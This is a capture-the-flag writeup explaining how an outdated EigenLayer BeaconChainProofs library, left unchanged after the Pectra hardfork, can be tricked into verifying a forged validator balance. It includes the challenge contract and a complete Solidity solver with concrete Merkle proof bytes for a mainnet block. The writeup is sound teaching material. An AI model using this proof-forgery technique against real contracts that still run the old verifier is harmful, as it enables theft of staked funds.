Proof of Balance
This puzzle was authored for the Wonderland CTF 2026. The following is a writeup of the intended solution. The original challenge repo can be found here.
Summary
The Proof of Balance CTF puzzle explores a Merkle proof verifier that has fallen out of sync with the structure of the tree it verifies.
By examining how fields have shifted in the actual tree relative to the layout assumed by the verifier, an attacker can steer the proof along a different branch of the new tree layout. In this case, the attacker is able to make verification succeed while proving an unrelated value.
This challenge uses an old version of EigenLayer's BeaconChainProofs library. The puzzle demonstrates why this verifier needed to be updated for the Pectra hardfork, as can be seen in this PR.
Details
The Challenge contract allows a user to fetch any beacon block root from the EIP-4788 oracle, and then uses EigenLayer's BeaconChainProofs library to prove the balance of any validator against that root. The challenge is to prove a balance of 100,000 ETH, which is far greater than the maximum balance possible in a single validator.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "eigenlayer/libraries/BeaconChainProofs.sol";
contract Challenge {
address public constant EIP_4788_ORACLE = 0x000F3df6D732807Ef1319fB7B8bB8522d0Beac02;
bool public isSolved;
constructor(address) {}
function solve(
uint64 beaconTimestamp,
BeaconChainProofs.BalanceContainerProof calldata balanceContainerProof,
uint40 validatorIndex,
BeaconChainProofs.BalanceProof calldata balanceProof
) external {
// Fetch a beacon block root from the EIP-4788 oracle
(bool success, bytes memory data) = EIP_4788_ORACLE.staticcall(
abi.encode(beaconTimestamp)
);
require(success && data.length == 32, "Invalid beacon timestamp");
bytes32 beaconBlockRoot = abi.decode(data, (bytes32));
// Use the EigenLayer library to prove the validator balance
BeaconChainProofs.verifyBalanceContainer(
beaconBlockRoot, balanceContainerProof
);
uint64 balance = BeaconChainProofs.verifyValidatorBalance(
balanceContainerProof.balanceContainerRoot,
validatorIndex,
balanceProof
);
// The proven balance must be at least 100,000 ETH
// (balance value is in gwei terms)
require(balance >= 100_000_000_000_000, "Proven balance is too low");
isSolved = true;
}
}
The first step to solving this challenge is realizing that the BeaconChainProofs library is outdated. The challenge uses v1.1.1, which was released in February 2025, while the CTF runs on a 2026 mainnet fork. Since the v1.1.1 release, Ethereum has undergone two hardforks: Pectra (May 2025) and Fusaka (December 2025). Pectra introduced changes that break this library's assumptions.
To understand how the hardfork broke the verifier, consider how the beaconBlockRoot returned by the EIP-4788 oracle is computed. The beacon chain uses a serialization scheme called SSZ, where each object is merkleized over its fields to produce its root hash (applied recursively for any field that isn't a primitive type).
For the BeaconState container specifically, Pectra added nine new fields, increasing the total from 28 to 37:
class BeaconState(Container):
genesis_time: uint64
genesis_validators_root: Root
slot: Slot
fork: Fork
latest_block_header: BeaconBlockHeader
block_roots: Vector[Root, SLOTS_PER_HISTORICAL_ROOT]
state_roots: Vector[Root, SLOTS_PER_HISTORICAL_ROOT]
historical_roots: List[Root, HISTORICAL_ROOTS_LIMIT]
eth1_data: Eth1Data
eth1_data_votes: List[Eth1Data, ...]
eth1_deposit_index: uint64
validators: List[Validator, VALIDATOR_REGISTRY_LIMIT]
balances: List[Gwei, VALIDATOR_REGISTRY_LIMIT]
randao_mixes: Vector[Bytes32, ...]
slashings: Vector[Gwei, ...]
previous_epoch_participation: List[ParticipationFlags, ...]
current_epoch_participation: List[ParticipationFlags, ...]
justification_bits: Bitvector[...]
previous_justified_checkpoint: Checkpoint
current_justified_checkpoint: Checkpoint
finalized_checkpoint: Checkpoint
inactivity_scores: List[uint64, ...]
current_sync_committee: SyncCommittee
next_sync_committee: SyncCommittee
latest_execution_payload_header: ExecutionPayloadHeader
next_withdrawal_index: WithdrawalIndex
next_withdrawal_validator_index: ValidatorIndex
historical_summaries: List[HistoricalSummary, ...]
+ deposit_requests_start_index: uint64
+ deposit_balance_to_consume: Gwei
+ exit_balance_to_consume: Gwei
+ earliest_exit_epoch: Epoch
+ consolidation_balance_to_consume: Gwei
+ earliest_consolidation_epoch: Epoch
+ pending_deposits: List[PendingDeposit, ...]
+ pending_partial_withdrawals: List[...]
+ pending_consolidations: List[...]
This pushed the field count past the next power-of-two boundary (32), increasing the Merkle tree depth from 5 to 6. Consider the balances field, which is the field being verified in the puzzle. The following diagram shows in red where this field existed in the old layout, and what occupies the same position in the new layout:

Due to the depth increase, the verifier now targets an internal node instead of the balances leaf. This internal node is hash(latest_execution_payload_header || next_withdrawal_index).
So, can this internal node pass as the root of a balances container? Note that a balance proof from the container root is 39 elements long, since balances is a List[uint64, 2^40] with 4 values packed per leaf, giving a tree depth of 38, plus one for the List length mixin. The challenge thus becomes: can the solver provide 39 sibling nodes that, when hashed bottom-up, produce the internal node? This is only possible by continuing to descend into the real beacon state tree for those 39 steps. If the path reaches a raw value rather than a hash, the descent will get stuck.
For example, consider the next_withdrawal_index (right child of the internal node). This is a small integer, so it can't be interpreted as a hash—it's a dead end. But the latest_execution_payload_header (left child of the internal node) is itself a container, which is promising. The current ExecutionPayloadHeader definition is:
class ExecutionPayloadHeader(Container):
parent_hash: Hash32
fee_recipient: ExecutionAddress
state_root: Bytes32
receipts_root: Bytes32
logs_bloom: ByteVector[BYTES_PER_LOGS_BLOOM]
prev_randao: Bytes32
block_number: uint64
gas_limit: uint64
gas_used: uint64
timestamp: uint64
extra_data: ByteList[MAX_EXTRA_DATA_BYTES]
base_fee_per_gas: uint256
block_hash: Hash32
transactions_root: Root
withdrawals_root: Root
blob_gas_used: uint64
excess_blob_gas: uint64
With 17 fields, its merkleization depth is 5. So, traversing one step into the latest_execution_payload_header and then 5 steps through its tree to a leaf already accounts for 6 of the required 39 levels.
The descent can continue through the transactions_root field. This is a List[Transaction, 2^20], adding 21 levels (20 for the tree, 1 for the length mixin), bringing the total to 27 of the required 39. Since each Transaction is a List[byte, 2^30], these can be descended into another 26 levels (25 + 1 length mixin), which is more than enough to cover the remaining 12 needed.
At 12 levels into the Transaction byte tree, the proof terminates at an internal node. The verifier interprets the value at this position as a validator's balance in gwei. Since internal Merkle nodes are effectively random 32-byte values, the resulting "balance" will almost certainly exceed the 100,000 ETH threshold. And even in the unlikely case it doesn't, the solver has degrees of freedom: different internal nodes at the same depth, different transactions in the block, and roughly 8,000 beacon block roots available through the EIP-4788 oracle.
Solution
Once the core issue is understood, all that remains is to assemble a valid proof against a chosen beacon block. This requires retrieving the block's data and the corresponding state tree nodes, which can be obtained from public beacon APIs.
Here is a solution for the block at timestamp 1772288483, using validator index 446676598784:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "forge-ctf/CTFSolver.sol";
import "src/Challenge.sol";
contract Solve is CTFSolver {
function solve(address challengeAddress, address) internal override {
Challenge challenge = Challenge(challengeAddress);
bytes memory containerProof =
hex"8e62516577f2f2ac2490ebb24b11d09e9ccc388e811aa0722658775be5f62659"
hex"71081b10b416df001aadab095aec3edcfde577adbe4b97f3b3196cc9ec43fc37"
hex"e4bd74f4dabe786197a1c149d5fc136130395235072694e9bd13e8907258f3cf"
hex"6f60a6539083337b173b7714ed249f4847075444c6e0831a3c5118c21baff5d0"
hex"3bfad0d1a0f1a8799c37766cf048c5994f3ed8c8641b3806fb16addc2f6ea979"
hex"4070e1b50d305ff8b9154b706a3b2e9f5d16a4208e7a72b03925c03749847d3a"
hex"4dbaca4bae64cec7342baa558300fdcc545cde619cad37caa4859cf076c6ed62"
hex"6383adf9ba7ce6317b8f0d577546293bd4e7c83cbed40bcc3f87604e2d033bd6";
BeaconChainProofs.BalanceContainerProof memory balanceContainerProof =
BeaconChainProofs.BalanceContainerProof({
balanceContainerRoot: bytes32(
0x7699c057b2d65cebf5709a8492756e4c4f0a51c6c5de8b32b5b57e6d5397f497
),
proof: containerProof
});
bytes memory balanceProof =
hex"b58d900f5e182e3c50ef74969ea16c7726c549757cc23523c369587da7293784"
hex"d49a7502ffcfb0340b1d7885688500ca308161a7f96b62df9d083b71fcc8f2bb"
hex"8fe6b1689256c0d385f42f5bbe2027a22c1996e110ba97c171d3e5948de92beb"
hex"8d0d63c39ebade8509e0ae3c9c3876fb5fa112be18f905ecacfecb92057603ab"
hex"95eec8b2e541cad4e91de38385f2e046619f54496c2382cb6cacd5b98c26f5a4"
hex"f893e908917775b62bff23294dbbe3a1cd8e6cc1c35b4801887b646a6f81f17f"
hex"cddba7b592e3133393c16194fac7431abf2f5485ed711db282183c819e08ebaa"
hex"8a8d7fe3af8caa085a7639a832001457dfb9128a8061142ad0335629ff23ff9c"
hex"feb3c337d7a51a6fbf00b9e34c52e1c9195c969bd4e7a0bfd51d5c5bed9c1167"
hex"e71f0aa83cc32edfbefa9f4d3e0174ca85182eec9f3a09f6a6c0df6377a510d7"
hex"31206fa80a50bb6abe29085058f16212212a60eec8f049fecb92d8c8e0a84bc0"
hex"3e0c000000000000000000000000000000000000000000000000000000000000"
hex"c3908973a37e035f12bf7d54c62efffba28f002136247bc450c804183a165a1d"
hex"17d14f4e1ca3c58b4e6fdda42578771f54a2cc58e11b40a1d3033f0226f85325"
hex"058e55ae79435686ee174de828c173a76e1f58905156ce21b0b2a403fe6f6149"
hex"ffd79039fca42f0b786d3cc3c588bbb8714a3902d8a70f5f7f3438fc65596601"
hex"5fe2ab16facfbe295a57619ec1100ba27d878fd860036194830a33516f851956"
hex"2c69a7e4d6963e4d5795b3ef786faa5c74ff48683d2c8e0cf6fbb3db79c58f0b"
hex"22cf34c0561f7e50cd17143985abd784c4922bdc703177fddd28b79697d5b7a9"
hex"22851349e228c21b14e952ec46595b7777a2ad4fc277c39198519def853e1d37"
hex"26846476fd5fc54a5d43385167c95144f2643f533cc85bb9d16b782f8d7db193"
hex"506d86582d252405b840018792cad2bf1259f1ef5aa5f887e13cb2f0094f51e1"
hex"ffff0ad7e659772f9534c195c815efc4014ef1e1daed4404c06385d11192e92b"
hex"6cf04127db05441cd833107a52be852868890e4317e6a02ab47683aa75964220"
hex"b7d05f875f140027ef5118a2247bbb84ce8f2f0f1123623085daf7960c329f5f"
hex"df6af5f5bbdb6be9ef8aa618e4bf8073960867171e29676f8b284dea6a08a85e"
hex"b58d900f5e182e3c50ef74969ea16c7726c549757cc23523c369587da7293784"
hex"d49a7502ffcfb0340b1d7885688500ca308161a7f96b62df9d083b71fcc8f2bb"
hex"8fe6b1689256c0d385f42f5bbe2027a22c1996e110ba97c171d3e5948de92beb"
hex"8d0d63c39ebade8509e0ae3c9c3876fb5fa112be18f905ecacfecb92057603ab"
hex"95eec8b2e541cad4e91de38385f2e046619f54496c2382cb6cacd5b98c26f5a4"
hex"f893e908917775b62bff23294dbbe3a1cd8e6cc1c35b4801887b646a6f81f17f"
hex"a900000000000000000000000000000000000000000000000000000000000000"
hex"bf99797d6dde327cd3a947dba2c1b1c0b9865cfcf39c467d6da257d785644f6c"
hex"3884781ec9b316014e9469f8a06c3e4c1bbee35f14463805c1dacaeb47ecb7be"
hex"af7253c307b1fafb5b3ff33a7fc2f024e4d2898b5acb78e4cbe0b258e729b7a4"
hex"f1771354435e8b5ebc10455a0ac57c5186edd4a09b873535d7efaebfdab73abc"
hex"5d80341fcfec56168bcd2f63481bd340c610aea00600f6e996fdb141841fc2e9"
hex"7b302c0700000000000000000000000000000000000000000000000000000000";
BeaconChainProofs.BalanceProof memory bProof =
BeaconChainProofs.BalanceProof({
pubkeyHash: bytes32(0),
balanceRoot: bytes32(
0xb0c590de88c9a33490240914a99fda05555b512bd27a94c563154c5b09bbd8bc
),
proof: balanceProof
});
uint40 validatorIndex = 446676598784;
uint64 beaconTimestamp = 1772288483;
challenge.solve(
beaconTimestamp,
balanceContainerProof,
validatorIndex,
bProof
);
}
}